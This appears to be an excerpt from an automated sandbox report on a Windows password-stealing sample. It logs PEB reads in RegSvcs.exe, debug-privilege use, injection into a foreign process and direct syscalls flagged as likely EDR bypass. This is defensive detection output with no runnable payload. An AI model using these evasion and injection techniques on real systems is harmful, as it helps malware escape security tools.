Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0122096E mov eax, dword ptr fs:[00000030h] 3_2_0122096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01284978 mov eax, dword ptr fs:[00000030h] 3_2_01284978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01284978 mov eax, dword ptr fs:[00000030h] 3_2_01284978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126C97C mov eax, dword ptr fs:[00000030h] 3_2_0126C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01260946 mov eax, dword ptr fs:[00000030h] 3_2_01260946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4940 mov eax, dword ptr fs:[00000030h] 3_2_012B4940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012689B3 mov esi, dword ptr fs:[00000030h] 3_2_012689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012689B3 mov eax, dword ptr fs:[00000030h] 3_2_012689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012689B3 mov eax, dword ptr fs:[00000030h] 3_2_012689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E09AD mov eax, dword ptr fs:[00000030h] 3_2_011E09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E09AD mov eax, dword ptr fs:[00000030h] 3_2_011E09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F29A0 mov eax, dword ptr fs:[00000030h] 3_2_011F29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126E9E0 mov eax, dword ptr fs:[00000030h] 3_2_0126E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA9D0 mov eax, dword ptr fs:[00000030h] 3_2_011EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA9D0 mov eax, dword ptr fs:[00000030h] 3_2_011EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA9D0 mov eax, dword ptr fs:[00000030h] 3_2_011EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA9D0 mov eax, dword ptr fs:[00000030h] 3_2_011EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA9D0 mov eax, dword ptr fs:[00000030h] 3_2_011EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EA9D0 mov eax, dword ptr fs:[00000030h] 3_2_011EA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012129F9 mov eax, dword ptr fs:[00000030h] 3_2_012129F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012129F9 mov eax, dword ptr fs:[00000030h] 3_2_012129F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012769C0 mov eax, dword ptr fs:[00000030h] 3_2_012769C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012149D0 mov eax, dword ptr fs:[00000030h] 3_2_012149D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AA9D3 mov eax, dword ptr fs:[00000030h] 3_2_012AA9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121A830 mov eax, dword ptr fs:[00000030h] 3_2_0121A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128483A mov eax, dword ptr fs:[00000030h] 3_2_0128483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128483A mov eax, dword ptr fs:[00000030h] 3_2_0128483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202835 mov eax, dword ptr fs:[00000030h] 3_2_01202835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202835 mov eax, dword ptr fs:[00000030h] 3_2_01202835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202835 mov eax, dword ptr fs:[00000030h] 3_2_01202835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202835 mov ecx, dword ptr fs:[00000030h] 3_2_01202835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202835 mov eax, dword ptr fs:[00000030h] 3_2_01202835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01202835 mov eax, dword ptr fs:[00000030h] 3_2_01202835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126C810 mov eax, dword ptr fs:[00000030h] 3_2_0126C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4859 mov eax, dword ptr fs:[00000030h] 3_2_011E4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E4859 mov eax, dword ptr fs:[00000030h] 3_2_011E4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126E872 mov eax, dword ptr fs:[00000030h] 3_2_0126E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126E872 mov eax, dword ptr fs:[00000030h] 3_2_0126E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01276870 mov eax, dword ptr fs:[00000030h] 3_2_01276870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01276870 mov eax, dword ptr fs:[00000030h] 3_2_01276870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F2840 mov ecx, dword ptr fs:[00000030h] 3_2_011F2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01210854 mov eax, dword ptr fs:[00000030h] 3_2_01210854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0887 mov eax, dword ptr fs:[00000030h] 3_2_011E0887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126C89D mov eax, dword ptr fs:[00000030h] 3_2_0126C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AA8E4 mov eax, dword ptr fs:[00000030h] 3_2_012AA8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C8F9 mov eax, dword ptr fs:[00000030h] 3_2_0121C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121C8F9 mov eax, dword ptr fs:[00000030h] 3_2_0121C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120E8C0 mov eax, dword ptr fs:[00000030h] 3_2_0120E8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B08C0 mov eax, dword ptr fs:[00000030h] 3_2_012B08C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120EB20 mov eax, dword ptr fs:[00000030h] 3_2_0120EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120EB20 mov eax, dword ptr fs:[00000030h] 3_2_0120EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A8B28 mov eax, dword ptr fs:[00000030h] 3_2_012A8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012A8B28 mov eax, dword ptr fs:[00000030h] 3_2_012A8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4B00 mov eax, dword ptr fs:[00000030h] 3_2_012B4B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125EB1D mov eax, dword ptr fs:[00000030h] 3_2_0125EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011D8B50 mov eax, dword ptr fs:[00000030h] 3_2_011D8B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01294B4B mov eax, dword ptr fs:[00000030h] 3_2_01294B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01294B4B mov eax, dword ptr fs:[00000030h] 3_2_01294B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011DCB7E mov eax, dword ptr fs:[00000030h] 3_2_011DCB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01276B40 mov eax, dword ptr fs:[00000030h] 3_2_01276B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01276B40 mov eax, dword ptr fs:[00000030h] 3_2_01276B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012AAB40 mov eax, dword ptr fs:[00000030h] 3_2_012AAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01288B42 mov eax, dword ptr fs:[00000030h] 3_2_01288B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128EB50 mov eax, dword ptr fs:[00000030h] 3_2_0128EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B2B57 mov eax, dword ptr fs:[00000030h] 3_2_012B2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B2B57 mov eax, dword ptr fs:[00000030h] 3_2_012B2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B2B57 mov eax, dword ptr fs:[00000030h] 3_2_012B2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B2B57 mov eax, dword ptr fs:[00000030h] 3_2_012B2B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01294BB0 mov eax, dword ptr fs:[00000030h] 3_2_01294BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01294BB0 mov eax, dword ptr fs:[00000030h] 3_2_01294BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0BBE mov eax, dword ptr fs:[00000030h] 3_2_011F0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0BBE mov eax, dword ptr fs:[00000030h] 3_2_011F0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0BCD mov eax, dword ptr fs:[00000030h] 3_2_011E0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0BCD mov eax, dword ptr fs:[00000030h] 3_2_011E0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E0BCD mov eax, dword ptr fs:[00000030h] 3_2_011E0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126CBF0 mov eax, dword ptr fs:[00000030h] 3_2_0126CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120EBFC mov eax, dword ptr fs:[00000030h] 3_2_0120EBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01200BCB mov eax, dword ptr fs:[00000030h] 3_2_01200BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01200BCB mov eax, dword ptr fs:[00000030h] 3_2_01200BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01200BCB mov eax, dword ptr fs:[00000030h] 3_2_01200BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8BF0 mov eax, dword ptr fs:[00000030h] 3_2_011E8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8BF0 mov eax, dword ptr fs:[00000030h] 3_2_011E8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8BF0 mov eax, dword ptr fs:[00000030h] 3_2_011E8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128EBD0 mov eax, dword ptr fs:[00000030h] 3_2_0128EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121CA24 mov eax, dword ptr fs:[00000030h] 3_2_0121CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0120EA2E mov eax, dword ptr fs:[00000030h] 3_2_0120EA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01204A35 mov eax, dword ptr fs:[00000030h] 3_2_01204A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01204A35 mov eax, dword ptr fs:[00000030h] 3_2_01204A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121CA38 mov eax, dword ptr fs:[00000030h] 3_2_0121CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0126CA11 mov eax, dword ptr fs:[00000030h] 3_2_0126CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0A5B mov eax, dword ptr fs:[00000030h] 3_2_011F0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011F0A5B mov eax, dword ptr fs:[00000030h] 3_2_011F0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0128EA60 mov eax, dword ptr fs:[00000030h] 3_2_0128EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121CA6F mov eax, dword ptr fs:[00000030h] 3_2_0121CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121CA6F mov eax, dword ptr fs:[00000030h] 3_2_0121CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0121CA6F mov eax, dword ptr fs:[00000030h] 3_2_0121CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E6A50 mov eax, dword ptr fs:[00000030h] 3_2_011E6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125CA72 mov eax, dword ptr fs:[00000030h] 3_2_0125CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0125CA72 mov eax, dword ptr fs:[00000030h] 3_2_0125CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01236AA4 mov eax, dword ptr fs:[00000030h] 3_2_01236AA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011EEA80 mov eax, dword ptr fs:[00000030h] 3_2_011EEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_012B4A80 mov eax, dword ptr fs:[00000030h] 3_2_012B4A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01218A90 mov edx, dword ptr fs:[00000030h] 3_2_01218A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_011E8AA0 mov eax, dword ptr fs:[00000030h] 3_2_011E8AA0
Enables debug privileges
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtResumeThread: Direct from: 0x773836AC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtMapViewOfSection: Direct from: 0x77382D1C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtWriteVirtualMemory: Direct from: 0x77382E3C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtProtectVirtualMemory: Direct from: 0x77382F9C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtSetInformationThread: Direct from: 0x773763F9 Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtCreateMutant: Direct from: 0x773835CC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtNotifyChangeKey: Direct from: 0x77383C2C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtSetInformationProcess: Direct from: 0x77382C5C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtCreateUserProcess: Direct from: 0x7738371C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtQueryInformationProcess: Direct from: 0x77382C26 Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtResumeThread: Direct from: 0x77382FBC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtWriteVirtualMemory: Direct from: 0x7738490C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtAllocateVirtualMemory: Direct from: 0x77383C9C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtReadFile: Direct from: 0x77382ADC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtAllocateVirtualMemory: Direct from: 0x77382BFC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtDelayExecution: Direct from: 0x77382DDC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtQuerySystemInformation: Direct from: 0x77382DFC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtOpenSection: Direct from: 0x77382E0C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtQueryVolumeInformationFile: Direct from: 0x77382F2C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtQuerySystemInformation: Direct from: 0x773848CC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtReadVirtualMemory: Direct from: 0x77382E8C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtCreateKey: Direct from: 0x77382C6C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtAllocateVirtualMemory: Direct from: 0x773848EC Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtQueryAttributesFile: Direct from: 0x77382E6C Jump to behavior
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe NtSetInformationThread: Direct from: 0x77382B4C Jump to behavior
